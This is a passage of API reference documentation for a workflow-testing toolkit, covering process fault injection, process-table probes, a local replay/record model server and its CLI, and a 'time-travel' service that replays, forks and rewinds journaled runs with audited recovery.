pid that is already dead is an error rather than a no-op: the test that called
this believed it was injecting a fault, and it was not. A missing pid or one
that is not a positive integer rejects with `killProcess: invalid pid` before
sending any signal.

### Faults.killGroup

```ts
const killGroup: (pgid: number, signal?: NodeJS.Signals) => void
```

Kills a whole process group, used to clean up what a test deliberately
orphaned. Takes a positive integer group id and negates it internally. Invalid
group ids are a no-op. Never throws: this is teardown.

### Faults.skewClock

```ts
const skewClock: (skewMs: number) => SkewedClock

interface SkewedClock {
  readonly now: () => number
  readonly advance: (ms: number) => void
  readonly restore: () => void
}
```

Skews `Date.now`, `Date()`, and a bare `new Date()` by `skewMs` for **this process
only**. `Date()` returns a string for the skewed instant. Explicit constructor
arguments, the Date prototype, and static parsing helpers are preserved. A
child does not inherit the skew, so a child runner takes an explicit skew instead.

Each skew is relative to the real clock, and the latest installation controls
the global clock. Restoring any live handle reinstalls the Date constructor and
`Date.now` captured at module load, even when handles are restored out of order.
`restore` is idempotent; it does not reinstate an earlier skew.

`skewClock` and `advance` throw `RangeError` when given a value that is not a
finite number of milliseconds, so `NaN` or `Infinity` can never reach `Date.now`.

## ProcessTable

Bounded, explicit-column POSIX process probes for real-process tests, imported
by subpath:

```ts
import * as ProcessTable from "@smthrs/testing/ProcessTable"
```

### ProcessTable.query

```ts
type Column = "pid" | "ppid" | "pgid" | "stat" | "comm" | "args" | "rss" | "lstart"

interface Query {
  readonly columns: readonly [Column, ...Array<Column>]
  readonly pid?: number
  readonly timeoutMs?: number
}

const query: (query: Query, spawn?: Spawn) => string
```

Runs `ps -ww -o <columns>` for the whole table, or for `pid` when given, with a
64 MiB output buffer, `LC_ALL=C`, and `PATH=/usr/bin:/bin`. Returns the raw
header-less text. Use `comm` for executable names and `args` when a script
marker must be distinguished from its interpreter. A selected `pid` that does
not exist returns empty text. Every other failure throws: a spawn error, a
timeout, a buffer overflow, or a non-zero exit, so a failed probe cannot pass
for a clean process table. `Spawn` has the signature of `spawnSync` and is the
injection point for tests of the probe itself.

## ModelServer

Serve a model, and optionally a judge, as a local OpenAI-compatible endpoint,
for an install that calls its model from another process. Imported by subpath:

```ts
import * as ModelServer from "@smthrs/testing/ModelServer"

const paths: {
  readonly health: "/health"
  readonly chat: "/v1/chat/completions"
  readonly evaluation: "/v4/ai/evaluation-model"
  readonly held: "/__testing/held"
  readonly release: "/__testing/release/"
  readonly turns: "/__testing/turns"
}

interface Options {
  readonly model: Model.Model
  readonly evaluator?: Evaluator.Evaluator | undefined
  readonly gate?: TurnGate.TurnGate | undefined
  readonly log?: TurnLog.TurnLog | undefined
  readonly hostname?: string | undefined // 127.0.0.1
  readonly port?: number | undefined // 0, any free port
  readonly heartbeatMs?: number | undefined // 15000
}

interface ModelServer {
  readonly url: string
}

const make: (options: Options) => Effect.Effect<ModelServer, never, Scope.Scope>
```

The server listens for the lifetime of the scope. Failing to listen is a defect.

| Route                          | Behavior                                                                                                                       |
| ------------------------------ | ------------------------------------------------------------------------------------------------------------------------------ |
| `GET /health`                  | `200 ok`.                                                                                                                      |
| `POST /v1/chat/completions`    | Decodes exactly `OpenAIChatCompletions.Body`, streamed; streams `model`'s events back as Chat Completions chunks and `[DONE]`. |
| `POST /v4/ai/evaluation-model` | Served only with `evaluator`. Answers `{ answers, usage?, providerMetadata.typesafe.confidence? }`.                            |
| `GET /__testing/held`          | Served only with `gate`. The keys turns wait on, as a JSON array.                                                              |
| `POST /__testing/release/<k>`  | Served only with `gate`. Releases `k` (letters, digits, `.`, `_`, `-`) and answers `204`.                                      |
| `GET /__testing/turns`         | Served only with `log`. The log's `Summary` plus `held`, the keys turns wait on now.                                           |

The chat request is lifted back into the `ModelRequest` that lowers to it, so a
recording made through the server keys exactly as the product's own request.
A field the client never sends, `stream: false`, or `response_format` is a
`400` naming the field. `max_completion_tokens`, which a metering proxy adds,
is read as `max_tokens` when `max_tokens` is absent and dropped otherwise. A `ModelError` before any output answers its
`httpStatus` (500 when absent) with `{ error: { message, type: code, code? } }`;
after output it ends the stream with an `error` chunk. An `EvaluatorError`
answers its `status`, else `400` for `invalid_question`, `504` for `timeout`
and `502` for the rest. A request the backing model or evaluator has no answer
for (it dies, as a replay miss does) answers `501` with `type: "unrecorded"`
and logs a warning naming the model and message count, never the text. A
silent answer opens the stream after `heartbeatMs` and writes `: held` comments
until output arrives.

## ModelServerCli

The `smthrs-model-server` command: a `ModelServer` over a fixture file, a
script, or both.
Imported by subpath, or run as the package's bin:

```ts
import * as ModelServerCli from "@smthrs/testing/ModelServerCli"

interface Config {
  readonly fixture?: string | undefined
  readonly record?: {
    readonly upstream: string
    readonly model?: string | undefined
    readonly apiKey: Redacted.Redacted<string>
  } | undefined
  readonly hold: ReadonlyArray<RegExp>
  readonly normalize: ReadonlyArray<RegExp>
  readonly hostname?: string | undefined
  readonly port?: number | undefined
  readonly script?: BuiltinScript.Options | undefined
  readonly trace?: { readonly file: string; readonly messages: boolean } | undefined
}

interface Io {
  readonly print: (line: string) => void
  readonly stopped: Promise<void>
}

const parse: (argv: ReadonlyArray<string>, env: Readonly<Record<string, string | undefined>>) => Config
const serve: (config: Config) => Effect.Effect<ModelServer.ModelServer, never, Scope.Scope>
const run: (argv: ReadonlyArray<string>, env: Readonly<Record<string, string | undefined>>, io: Io) => Promise<void>
```

| Flag                    | Meaning                                                                                                                       |
| ----------------------- | ----------------------------------------------------------------------------------------------------------------------------- |
| `--fixture <path>`      | The fixture file. Required unless `--script` is given without `--record`. Replay refuses a path that does not exist.          |
| `--record`              | Record misses. Needs `--upstream` and `--key-env`.                                                                            |
| `--upstream <origin>`   | The Chat Completions origin a miss is sent to; its judge is `<origin>/v4/ai/evaluation-model`.                                |
| `--upstream-model <id>` | The model the upstream is asked for. The fixture keeps the requested id.                                                      |
| `--key-env <NAME>`      | The environment variable holding the upstream's bearer key.                                                                   |
| `--hold <regex>`        | Hold a turn whose text matches until its key, capture group 1, is released. Repeatable.                                       |
| `--normalize <regex>`   | Replace every match in a request's strings, except its model id, with `<normalized>` before keying and recording. Repeatable. |
| `--host`, `--port`      | Where to listen: `127.0.0.1` and any free port by default.                                                                    |
| `--script builtin`      | Answer with `BuiltinScript` first. The only script.                                                                           |
| `--script-config <p>`   | `BuiltinScript.Options` as JSON; `todoFlow` names a file, relative to the config, that is read in.                            |
| `--trace <path>`        | Append each turn to this file as one JSON line through `TurnLog`.                                                             |
| `--trace-messages`      | Keep each traced chat turn's messages. Needs `--trace`.                                                                       |

Every run keeps a `TurnLog` and serves `GET /__testing/turns`. With `--script`
the script answers first and its judge answers every evaluation; a turn it does
not script replays from `--fixture`, or without one is settled by
`BuiltinScript.unscripted`. With `--record` as well, nothing is scripted: every
turn and evaluation goes to the upstream and is recorded, and the script only
names each traced turn. Unscripted turns are traced as `replayed` or
`recorded`.

`parse` throws an `Error` naming the first problem and the usage line. Replay
reads the fixture once into memory and never writes it, so parallel runs can
share one file. Recording appends through `FixtureStore.makeFile` and publishes
the fixture when the scope closes. `run` prints `{"url":"..."}` once listening
and closes the scope when `io.stopped` settles; the bin settles it on SIGINT or
SIGTERM and exits `1` with the message on a parse or startup failure.

## Documented limits

| Limit                                                                   | Behavior at the limit                                                   |
| ----------------------------------------------------------------------- | ----------------------------------------------------------------------- |
| `Fixture.canonicalRequestDigest` nesting depth: 128                     | Fails `fixture_not_encodable`, `too-deep`                               |
| `FlowEngineLike` scheduler passes awaiting a published result: 1000     | Fails typed rather than spinning                                        |
| Conformance pin wait: a bounded live-clock schedule, roughly one second | Fails rather than hanging                                               |
| `ScoreGate` sample count                                                | No limit; the minimum is an iterative reduction, not an argument spread |

---

# @smthrs/time-travel
https://smithers.sh/docs/reference/api/time-travel/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/time-travel/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/time-travel/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/time-travel/docs)

> **Related APIs:** [`@smthrs/database`](/docs/reference/api/database/) · [`@smthrs/engine-store`](/docs/reference/api/engine-store/) · [`@smthrs/jj`](/docs/reference/api/jj/) · [`@smthrs/journal`](/docs/reference/api/journal/) · [`@smthrs/run-store`](/docs/reference/api/run-store/) · [`@smthrs/step-cache`](/docs/reference/api/step-cache/)

```ts
import { Engine } from "@smthrs/flows"
import { TimeTravel } from "@smthrs/time-travel"
import * as Effect from "effect/Effect"

const program = Effect.gen(function*() {
  const timeTravel = yield* TimeTravel
  const lineageId = Engine.FlowEngine.Lineage.root("build-42")
  const position = { runId: "build-42", frame: { lineageId, seq: 17 } }
  return yield* timeTravel.inspect(position, { initial: 0, reduce: (state) => state + 1 })
})
```

## Entry points

| Import                                   | Source                                                                                                                                      | Notes                                                                                |
| ---------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------ |
| `@smthrs/time-travel`                    | [src/index.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/time-travel/src/index.ts)                           | The barrel is a browser-contract entry point and bundles without a `node:` built-in. |
| `@smthrs/time-travel/SqlTimeTravelStore` | [src/SqlTimeTravelStore.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/time-travel/src/SqlTimeTravelStore.ts) | Runs on an injected SQLite or PostgreSQL `SqlClient`.                                |

The barrel exports `TimeTravel` and `ReadOnlyTimeTravel` flat, and
the other modules as namespaces. It re-exports the rest of the `TimeTravel`
module with them: the types `Position`, `Projection`, `Service`, `Options`,
`ReplayOptions`, `ForkOptions`, `RewindOptions`, `RateLimitDecision`,
`ForkResult` and `RewindResult`, and the constants `defaultMaxHistoryEntries` and
`forkWorkspaceName`. Every module under `src/` is also published at
`@smthrs/time-travel/<Module>` by the package `exports` map, which is where the
remaining members of the `TimeTravel` module live: `make` and `makeWith` are
reached through
`import * as TimeTravel from "@smthrs/time-travel/TimeTravel"`.

`@smthrs/time-travel/internal/*` is mapped to `null`: `Replay`, `Fork`,
`Rewind`, `Recovery`, `Compensation`, `SnapshotProjector`,
`HistoryLimit`, and `EffectHandlerRegistry` are machinery a caller never names.

## TimeTravel

The one injectable time-travel surface.

```ts
class TimeTravel extends Context.Service<TimeTravel, Service>()("@smthrs/time-travel/TimeTravel")
```

The tag key is durable identity: step keys digest the resolved service set, so
renaming it invalidates recorded runs.

| Export                     | Signature                                                                                                                |
| -------------------------- | ------------------------------------------------------------------------------------------------------------------------ |
| `TimeTravel.layer`         | `Layer<TimeTravel, TimeTravelError, Requirements>`                                                                       |
| `TimeTravel.layerWith`     | `(options: Options) => Layer<TimeTravel, TimeTravelError, Requirements>`                                                 |
| `TimeTravel.readOnly`      | `Layer<ReadOnlyTimeTravel, never, Journal \| CacheStore>`; inspect/replay without startup recovery or mutation services. |
| `layer`                    | The same value as `TimeTravel.layer`.                                                                                    |
| `layerWith`                | The same function as `TimeTravel.layerWith`.                                                                             |
| `make`                     | `Effect<Service, TimeTravelError, Requirements \| Scope>`                                                                |
| `makeWith`                 | `(options?: Options) => Effect<Service, TimeTravelError, Requirements \| Scope>`                                         |
| `defaultMaxHistoryEntries` | `number`. 100,000.                                                                                                       |
| `forkWorkspaceName`        | `(childRunId: string) => string`. The jj workspace name a fork derives from the child run id it mints.                   |

`Requirements` is `TimeTravelStore | Journal | RunStore | CacheStore | Jj`.
Building the layer is scoped: the scope owns every fork workspace the service
adds by default, so a fork lane is forgotten when the service is released.
Pass `retainWorkspace: true` when a branch must survive that scope, as a CLI-created branch does.
The read-only layer never performs startup recovery; provide read-only persistence beneath it for viewers.

### Position

Where an operation acts: a run, and a frame inside it.

```ts
const Position: Schema.Struct<{ runId: Schema.NonEmptyString; frame: typeof Frame }>
type Position = { readonly runId: string; readonly frame: Frame }
```

### Projection

A pure fold over durable journal evidence.

```ts
interface Projection<S> {
  readonly initial: S
  readonly reduce: (state: S, entry: JournalEvent.Entry, sealed: unknown | undefined) => S
}
```

`sealed` is the recorded result of the sealed step that entry belongs to, when
it has one. Entries arrive by reference; treat them as read-only.

### Service

```ts
interface Service {
  readonly replay: <S>(
    position: Position,
    projection: Projection<S>,
    options?: ReplayOptions
  ) => Effect<S, TimeTravelError>
  readonly inspect: <S>(
    position: Position,
    projection: Projection<S>
  ) => Effect<S, TimeTravelError>
  readonly fork: (position: Position, options?: ForkOptions) => Effect<ForkResult, TimeTravelError>
  readonly rewind: (position: Position, options?: RewindOptions) => Effect<RewindResult, TimeTravelError>
}
```

### Options

How the service is composed.

| Field                 | Type                                                    | Meaning                                                                                                                                                                                                         |
| --------------------- | ------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `compensationTimeout` | `Duration.Input`                                        | Deadline per handler revert or rollback and per jj snapshot or restore. Defaults to three minutes. Refused `invalid` at build unless finite and positive.                                                       |
| `recoveryTimeout`     | `Duration.Input`                                        | Deadline for startup recovery of every pending audit together. Defaults to ten compensation deadlines. Refused `invalid` at build unless finite and positive.                                                   |
| `isAlive`             | `Ownership.LivenessCheck`                               | Whether the owner recorded on a run is still working, asked before startup recovery takes an interrupted rewind's run over. Defaults to `Ownership.leaseLiveness()` from [`@smthrs/run-store`](/docs/reference/api/run-store/). |
| `maxHistoryEntries`   | `number`                                                | The most journal entries one replay, fork, or rewind may read. Defaults to `defaultMaxHistoryEntries`. Refused `invalid` at build unless it is a positive integer.                                              |
| `rateLimit`           | `(input) => Effect<RateLimitDecision, TimeTravelError>` | Whether one more rewind may start. Defaults to no limiter: every rewind is allowed. See [Rate limiting rewinds](#rate-limiting-rewinds).                                                                        |

### Rate limiting rewinds

```ts
type RateLimitDecision = {
  readonly allowed: boolean
  readonly detail?: unknown
}

const layer = TimeTravel.layerWith({
  rateLimit: ({ frame, nowMs, runId }) => Effect.succeed({ allowed: true })
})
```

The limiter is asked once per rewind, under the ownership claim and before the
audit row is written, so its decision is durable whichever way it goes. A
decision that is not `allowed` fails the rewind `rate_limited` before anything
is compensated, archived, or truncated. The audit row records `detail` when the
decision carries one, and `{ allowed, checkedAtMs }` when it does not, where
`checkedAtMs` is the `nowMs` the limiter was asked on. A limiter that fails
rather than decides fails the rewind with its own `TimeTravelError`, abandons
the claim, and writes no audit row at all.

### ReplayOptions, ForkOptions, RewindOptions

```ts
interface ReplayOptions {
  readonly pageSize?: number | undefined
  readonly maxHistoryEntries?: number | undefined
  readonly engineEvents?: EngineEvent.Consumer | undefined
}

interface ForkOptions {
  readonly workspaceRoot?: string | undefined
  readonly retainWorkspace?: boolean | undefined
  readonly override?: StepOverride | undefined
  readonly rebind?: ((childRunId: string) => Effect.Effect<Rebinding, TimeTravelError>) | undefined
  readonly pageSize?: number | undefined
  readonly maxHistoryEntries?: number | undefined
}

interface RewindOptions {
  readonly detachedChildren?: "block" | "cancel" | undefined
  readonly pageSize?: number | undefined
  readonly maxHistoryEntries?: number | undefined
  readonly wholeRepo?: boolean | undefined
}
```

`pageSize` is a throughput knob only and never changes a derived answer; it
defaults to 100. In all three options types it must be a safe integer from 1
through `Journal.maxEntriesLimit` (10,000). Any other value is refused with
`invalid` before reading the journal. `maxHistoryEntries` overrides
`Options.maxHistoryEntries` for one call. `workspaceRoot` defaults to `.flows/forks` and only moves which lane
the derived workspace name lands in; an empty string is refused with `invalid`. `retainWorkspace` keeps the child lane
registered after the service scope closes. `override` replaces one step's
recorded result on the child; see [Fork a run](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/time-travel/docs/guides/fork-a-run.md#edit-a-step-result). `rebind` replaces the child's recorded payload and carries named spawned
children under new ids; see [Fork a run](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/time-travel/docs/guides/fork-a-run.md#edit-the-input-and-carry-spawned-children).
`detachedChildren` defaults to
`"block"`. `wholeRepo` restores the jj operation the frame recorded instead of
only its working-copy tree, so bookmark moves, rebases, `describe`, and
`abandon` after the frame are undone too, even when no compensable effect was
crossed. A frame whose anchor recorded no operation refuses it with
`irreversible`, and a repository whose other workspaces changed after the
operation refuses it with `compensation_failed`.

`engineEvents` is the `EngineEvent.Consumer` from `@smthrs/journal` that a
versioned engine record is decoded against: its `runId` and `lineageId` must
equal the position's, and its source allowlist decides which emitters the fold
accepts. A fold that reaches a `flows.engine.v*` entry without a matching
consumer fails `invalid` and derives nothing. `inspect` takes no options, so a
run whose journal carries those records is readable only through `replay`.

### ForkResult and RewindResult

```ts
type ForkResult = {
  readonly runId: string
  readonly edge: LineageEdge
  readonly warnings: ReadonlyArray<string>
}

type RewindResult = {
  readonly auditId: string
  readonly frame: Frame
  readonly archive: TimeTravelStore.ArchiveResult
  readonly assessments: ReadonlyArray<Assessment>
  readonly warnings: ReadonlyArray<DetachedChildWarning>
  readonly cancelledChildren: ReadonlyArray<string>
}
```

An `Assessment` carries the crossed `effect` record, its `classification`
(`revertible`, `warning`, or `blocking`), the `reason`, and the operator-facing
`residue`. A `DetachedChildWarning` carries `childRunId`, `parentSeq`, and
`reason`.

## Operations

`TimeTravel` is one injectable service with four operations, each addressed by
a `Position`: a run id plus a `Frame`.

| Operation                                | What it does                                                                                                                                                                                                                                                                                                                                                    |
| ---------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `replay(position, projection, options?)` | Folds the committed journal prefix up to the frame through a pure projection. It has no dispatcher, so a replay can never re-execute a model call or a child flow, and that is what separates it from an engine resume. The fold streams and stops reading at the frame.                                                                                        |
| `inspect(position, projection)`          | The same fold as `replay`, under the service defaults. It exists for the caller that never tunes a read, and takes no options, so versioned engine history needs `replay` and its `engineEvents`.                                                                                                                                                               |
| `fork(position, options?)`               | Mints and reserves a child run id, provisions the child's Jujutsu workspace pinned at the frame's recorded pointer, then copies the journal prefix, the frame's anchors, and only the attempts that prefix can explain, and records the lineage edge. The parent is never mutated, and the fork refuses `live_parent` while the parent or any ancestor is live. |
| `rewind(position, options?)`             | The fenced, audited suffix-removal protocol. The ownership claim and the audit id are minted inside.                                                                                                                                                                                                                                                            |

The workspace a fork lands in is named after the child run id the fork mints,
never supplied: `smithers-fork-` plus the sanitized id capped at 64 characters
plus a short digest of the raw id. A frame forked twice therefore gets two
lanes, and the lane is forgotten when the service scope is released.

The mint is a durable reservation, renewed immediately before `workspaceAdd`
to restart its stale window. A reservation reclaimed while the fork stalled
before provisioning fails `fence_lost` without adding a lane; renewal changes
neither reclaiming nor forgotten intents. A process that dies after provisioning the
lane and before the store commits the fork leaves a registered lane and a
reservation behind; the next build of `TimeTravel.layer` forgets the lane of
every reservation older than five minutes whose fork never committed, and the
reserved ordinal is never handed out again. The sweep claims each stale intent
before forgetting its lane, stamping a fresh `reclaimedAtMs`, and records completion
with `forgetForkIntent(childRunId, reclaimedAtMs)` only after Jujutsu succeeds.
This compare-and-set records completion only while the row still has that claim
stamp and is not already forgotten. Every sweep claim and refused-fork reopen
strictly advances the stamp (`max(now, previous + 1)`), even in one millisecond,
so a delayed acknowledgment cannot erase a newer claim or reopen. Failed removal, a failed completion write, or a crash
leaves the intent reclaiming for the next build to retry. A fork still provisioning
when its reservation is reclaimed refuses its commit with `fence_lost` and
attempts to forget its own lane. The refusal transaction resets even a forgotten
intent to reclaiming (clearing `forgotten_at_ms`, advancing `reclaimed_at_ms`)
before any other fork validation, then raises the error after commit. Startup therefore retries removal if
that cleanup fails; successful cleanup makes the later forget a no-op. Retrying
the fork mints a fresh id.

The remaining window requires a stall longer than the stale window inside
`workspaceAdd` itself, followed by either an add failure whose own cleanup also
fails, or a crash after the add and before `createFork`. If the sweep already
recorded the intent forgotten, that lane stays registered; nothing durable
says it exists.

### Rewind order of operations

1. Validate the position, before anything durable exists.
2. Claim and activate the run, then hold the ownership lease with a heartbeat
   for as long as the protocol runs.
3. Re-read the journal tail under the claim; a moved tail is `busy`.
4. Apply the rate limiter and write the audit row with its decision.
5. Read the frame's anchor, the descendants, and the suffix, and assess every
   effect boundary in it.
6. Resolve descendants: a live child refuses the rewind under `"block"`.
7. Compensate the irreversible effects, persisting the accumulated receipts after each
   handler.
8. Restore the Jujutsu workspace to the frame's pointer.
9. Persist the cancellation plan and claim every child it names.
10. Archive and truncate the suffix atomically, fenced on the parent owner and
    every non-terminal attached child's exact owner. The same transaction
    advances the journal generation, so older sync cursors fail
    `lineage_changed`.
11. Cancel the claimed children, recording each on the audit as it lands.
12. Suspend the run with the state derived at the frame and close the audit.

Step 10 is the recovery commit point. The audit records the journal `generation`
before truncation. When a committed phase was not persisted, recovery requires
an empty live suffix and its archived tail in that exact generation. Old audits
without `generation`, including audits from journals without generations, retain
the generation-agnostic archive check. A missing archive row still rolls back;
an archived tail completes recovery so it does not reverse compensation after
truncation has committed. Explicit phases `archive_committed` and `completed`
remain sufficient evidence.
Cancelling a child under
`detachedChildren: "cancel"` happens **after** it, because cancellation is
terminal and has no inverse. Pre-commit child claims are reversible and are
released when the archive fails: an originally suspended child returns to that
status, while a child claimed from pending or dead-running is safely parked
suspended because that is the run store's ownership-clearing reversible state.
The planned cancellations are written to the audit detail before any archive
mutation, so a crash between the commit and the last cancellation is finished
by the next recovery pass rather than silently dropped.

## Recovery

Recovery recognizes child ownership from the persisted rewind or recovery child
nonce. It reclaims expired child leases with fresh liveness evidence and the
run store's snapshot CAS. Claims interrupted before activation are cleared with
`recoverClaim`. Before the archive commits, activated children are released into
`suspended`; after commit, the planned children are cancelled. Live leases or
lost CAS races keep the audit open for retry.

Recovery is not an operation. Building `TimeTravel.layer` finishes or rolls back
every interrupted rewind audit before the service accepts work, so a crashed
rewind never needs a call the caller has to remember.

An audit whose parent or planned child a live process still holds is declined.
It keeps its `in_progress` status and remains in `pendingAudits` for a later
build to retry unresolved work.

`Options.isAlive` is an [`Ownership.LivenessCheck`](/docs/reference/api/run-store/) and decides
what "still live" means. It defaults to `Ownership.leaseLiveness()`, the same
check the engine's run driver applies to those rows: an owner is alive while its
persisted heartbeat is younger than `Ownership.heartbeatStaleAfter`. A supplied
check can only refuse a takeover, never widen one, because the evidence recovery
hands `RunStore.steal` is always `lease-expired` and `steal` re-verifies that
claim inside the same write.

```ts
import * as Ownership from "@smthrs/run-store/Ownership"
import { TimeTravel } from "@smthrs/time-travel"

const layer = TimeTravel.layerWith({ isAlive: Ownership.leaseLiveness() })
```

## Frame

The coordinate system. Import as `Frame` from the barrel, or from
`@smthrs/time-travel/Frame`.

| Export                 | Signature                                                                                      |
| ---------------------- | ---------------------------------------------------------------------------------------------- |
| `Frame`                | Schema and type: `{ lineageId: string; seq: number }`. `seq` is a non-negative integer.        |
| `LineageEdgeKind`      | Schema and type: `"child" \| "fork" \| "continuation"`.                                        |
| `LineageEdge`          | Schema and type: `{ parentRunId, parentSeq, childRunId, kind, attached }`.                     |
| `forkCreatedEventType` | `"flows.time-travel.fork-created"`, the journal event type marking a run as fork-created.      |
| `ForkCreated`          | Schema and type: `{ parentRunId, forkJournalOffset, childRunId }`, the payload of that record. |

`seq` is the zero-based journal sequence of the last record a frame includes:
frame `n` covers every record with `seq <= n`, so frame `0` is the state after
the first record. On an empty history `replay` and `inspect` refuse every frame
`not_found`, while `rewind` accepts frame `0` and has nothing to truncate. No
frame addresses the state before a written first record. `attached`
distinguishes a descendant that still depends on the history under a frame from
one already cut loose.

## TimeTravelError

The single failure type every operation can fail with.

```ts
class TimeTravelError extends Schema.TaggedError<TimeTravelError>()(
  "@smthrs/time-travel/TimeTravelError",
  { code: TimeTravelErrorCode, message: Schema.String, cause: Schema.optional(Schema.Unknown) }
) {}

const error: (code: TimeTravelErrorCode, message: string, cause?: unknown) => TimeTravelError
```

`TimeTravelErrorCode` is a closed literal union of the twelve codes in the
failure table. The tag is wire format and stays fixed even as the code list
grows. `error` omits `cause` entirely when none is supplied, so an absent cause
never encodes as an explicit `undefined`.

## TimeTravelStore

The persistence contract time travel reads history through.

```ts
class TimeTravelStore extends Context.Service<TimeTravelStore, Service>()(
  "@smthrs/time-travel/TimeTravelStore"
) {}

const make: (implementation: Service) => Service
const makeNoop: (overrides?: Partial<Service>) => Service
const layerNoop: (overrides?: Partial<Service>) => Layer<TimeTravelStore>
```

`makeNoop` fails every operation with an `unknown`-coded error except the ones
`overrides` supplies, so a test that stubs two methods gets a named failure the
moment the code under test reaches a third.

### Models

| Export          | Shape                                                                                                                                                                                                          |
| --------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Snapshot`      | `{ runId, frame, changeId, planDigest? }`. The anchor at a frame. An absent digest means no plan was in force.                                                                                                 |
| `AttemptRef`    | `{ stepKeyDigest, attempt }`. An attempt row as `flows_attempts` addresses it.                                                                                                                                 |
| `StepOverride`  | `{ stepKeyDigest, result }`. The step result a fork replays on its child in place of the parent's.                                                                                                             |
| `CarriedChild`  | `{ from, to, payload? }`. A spawned child a fork carries under the id its forked parent opens it with.                                                                                                         |
| `Rebinding`     | `{ payload?, children? }`. The payload a forked child starts from and the spawned children it carries.                                                                                                         |
| `Descendants`   | `{ attached: LineageEdge[]; detached: LineageEdge[] }`.                                                                                                                                                        |
| `Audit`         | `{ id, runId, frame, status, rateLimit?, detail? }` with `status` of `in_progress`, `completed`, or `failed`.                                                                                                  |
| `AuditPatch`    | `{ status?, rateLimit?, detail? }`. The only keys an open audit row may be advanced through.                                                                                                                   |
| `Receipt`       | `{ id, auditId, effectId, receipt }`. Proof one side effect was compensated.                                                                                                                                   |
| `ArchiveResult` | `{ archived: number; orphaned: LineageEdge[] }`.                                                                                                                                                               |
| `Fork`          | `{ runId, edge }`. The row `createFork` commits; a fork's warnings ride `ForkResult`.                                                                                                                          |
| `ForkIntent`    | `{ childRunId, parentRunId, parentSeq, reservedAtMs, reclaimedAtMs? }`. A minted fork id whose fork has not committed. `reclaimedAtMs` is optional for older encodings and always set by `abandonForkIntents`. |

Four helpers travel with them:

```ts
const auditPatchKeys: ReadonlyArray<keyof AuditPatch>
const validateAuditPatch: (patch: AuditPatch) => Effect<AuditPatch, TimeTravelError>
const forkFrameMessage: (parentRunId: string, frame: Frame) => string
const forkChildTakenMessage: (childRunId: string) => string
```

`validateAuditPatch` refuses a patch carrying a key `AuditPatch` does not admit,
because the offending caller is an untyped one. An invalid status reports
`invalid audit patch: status <json> is not one of in_progress|completed|failed`.
The message omits the patch's detail and handler receipts.
`forkFrameMessage` is the one refusal message both stores raise for a fork whose
frame addresses no record, so a caller that branches on it gets the same answer
from either. `forkChildTakenMessage` is the matching `invalid` refusal for a
fork whose child id names a run that already exists.

### Service

| Method                                                               | What it does                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| -------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `snapshotAt(runId, frame)`                                           | The anchor recorded at a frame, or `undefined`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| `recordSnapshot(snapshot)`                                           | Records one anchor. Written by the snapshot projector, never by a caller.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| `recordSnapshots(snapshots)`                                         | Records a batch of anchors in one write. The projector hands it one journal page's anchors at a time, so a page costs one transaction on the SQL store.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| `latestSnapshots(runId)`                                             | The last anchor recorded on each lineage of a run, the projector's resume point. Empty for a run with no anchors.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| `stateAt(runId, frame)`                                              | The run state **at** a frame as encoded JSON, derived by replaying the run-decision records, not read off the run row's latest state.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
| `attemptsAt(runId, frame)`                                           | The attempts that had been admitted at a frame, derived the same way.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
| `descendants(runId, frame)`                                          | The lineage edges hanging off this run at or after a frame, split into attached and detached.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| `writeAudit(audit)`                                                  | Opens the audit trail for a rewind, before anything is compensated or truncated.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| `updateAudit(id, patch)`                                             | Advances an open audit row. Any key outside `AuditPatch` is refused `invalid`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| `pendingAudits()`                                                    | Every audit row still `in_progress`. Recovery drains this on layer build.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| `archiveAndTruncate(runId, frame, receipts, owner, childOwners?)`    | Refuses malformed frames with `invalid`. Truncates a run back to a frame, archiving rather than deleting, removing deferred completions and clock deadlines named by archived records, and persisting the receipts. Fenced on the caller's ownership and on every non-terminal attached child.                                                                                                                                                                                                                                                                                                                                                                 |
| `archivedAt(runId, seq, generation?)`                                | Whether the archive holds a record at that exact coordinate in the pre-truncation journal generation when supplied, or in any generation when omitted. Recovery's commit-point evidence, including its legacy fallback.                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| `nextForkId(parentRunId, frame)`                                     | Mints and durably reserves the run id the next fork off that frame will carry, without creating a run.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| `renewForkIntent(childRunId)`                                        | In one write transaction, sets a reserved intent’s `reservedAtMs` to now immediately before lane provisioning, restarting its stale window. A reclaiming or forgotten intent fails `fence_lost` without changes. An id without a reservation succeeds without changes.                                                                                                                                                                                                                                                                                                                                                                                         |
